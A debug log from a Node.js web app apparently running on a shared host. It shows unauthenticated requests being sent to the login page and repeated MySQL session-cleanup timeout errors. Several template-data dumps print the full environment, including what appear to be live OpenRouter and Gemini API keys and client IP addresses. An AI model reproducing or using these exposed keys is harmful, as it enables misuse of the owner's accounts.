2026-03-15T09:20:33.909Z server-connect:auth No login cookie found
2026-03-15T09:20:33.909Z server-connect:output identity: false
2026-03-15T09:20:33.909Z server-connect:app Executing action step restrict
2026-03-15T09:20:33.909Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-15T09:20:33.910Z server-connect:output restrict: undefined
2026-03-15T09:20:34.738Z server-connect:router Serving templateView /login
2026-03-15T09:20:34.739Z server-connect:app Executing action step identify
2026-03-15T09:20:34.739Z server-connect:app options: { provider: 'security' }
2026-03-15T09:20:34.739Z server-connect:auth No login cookie found
2026-03-15T09:20:34.739Z server-connect:output identity: false
2026-03-15T09:20:34.739Z server-connect:router Render template layouts/authentication
2026-03-15T09:20:34.739Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    connection: 'keep-alive',
    'upgrade-insecure-requests': '1',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    priority: 'u=0, i',
    'x-forwarded-for': '167.172.41.98',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-16T09:20:34.738Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '167.172.41.98',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '167.172.41.98',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-15 10:56:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-15 10:56:18' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-15 11:55:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-15 11:55:19' as DATETIME)"
}
2026-03-15T15:33:10.337Z server-connect:router Serving templateView /
2026-03-15T15:33:10.338Z server-connect:app Executing action step identify
2026-03-15T15:33:10.338Z server-connect:app options: { provider: 'security' }
2026-03-15T15:33:10.338Z server-connect:auth No login cookie found
2026-03-15T15:33:10.338Z server-connect:output identity: false
2026-03-15T15:33:10.338Z server-connect:app Executing action step restrict
2026-03-15T15:33:10.338Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-15T15:33:10.339Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-15 16:10:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-15 16:10:21' as DATETIME)"
}
2026-03-15T18:09:55.962Z server-connect:router Serving templateView /
2026-03-15T18:09:55.963Z server-connect:app Executing action step identify
2026-03-15T18:09:55.963Z server-connect:app options: { provider: 'security' }
2026-03-15T18:09:55.963Z server-connect:auth No login cookie found
2026-03-15T18:09:55.964Z server-connect:output identity: false
2026-03-15T18:09:55.964Z server-connect:app Executing action step restrict
2026-03-15T18:09:55.964Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-15T18:09:55.964Z server-connect:output restrict: undefined
2026-03-15T18:09:56.067Z server-connect:router Serving templateView /login
2026-03-15T18:09:56.067Z server-connect:app Executing action step identify
2026-03-15T18:09:56.067Z server-connect:app options: { provider: 'security' }
2026-03-15T18:09:56.067Z server-connect:auth No login cookie found
2026-03-15T18:09:56.067Z server-connect:output identity: false
2026-03-15T18:09:56.067Z server-connect:router Render template layouts/authentication
2026-03-15T18:09:56.068Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.97 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '98.87.188.21',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-16T18:09:56.067Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '98.87.188.21',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.97 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '98.87.188.21',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-15 18:55:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-15 18:55:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-15 19:01:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-15 19:01:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-15 22:29:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-15 22:29:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-16 09:03:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-16 09:03:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-16 11:05:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-16 11:05:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-16 15:21:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-16 15:21:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-16 16:44:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-16 16:44:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-16 19:02:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-16 19:02:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-16 21:07:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-16 21:07:23' as DATETIME)"
}
2026-03-17T00:42:46.442Z server-connect:router Serving templateView /
2026-03-17T00:42:46.444Z server-connect:app Executing action step identify
2026-03-17T00:42:46.444Z server-connect:app options: { provider: 'security' }
2026-03-17T00:42:46.444Z server-connect:auth No login cookie found
2026-03-17T00:42:46.444Z server-connect:output identity: false
2026-03-17T00:42:46.444Z server-connect:app Executing action step restrict
2026-03-17T00:42:46.444Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-17T00:42:46.445Z server-connect:output restrict: undefined
2026-03-17T00:42:48.965Z server-connect:router Serving templateView /login
2026-03-17T00:42:48.965Z server-connect:app Executing action step identify
2026-03-17T00:42:48.965Z server-connect:app options: { provider: 'security' }
2026-03-17T00:42:48.965Z server-connect:auth No login cookie found
2026-03-17T00:42:48.965Z server-connect:output identity: false
2026-03-17T00:42:48.965Z server-connect:router Render template layouts/authentication
2026-03-17T00:42:48.965Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
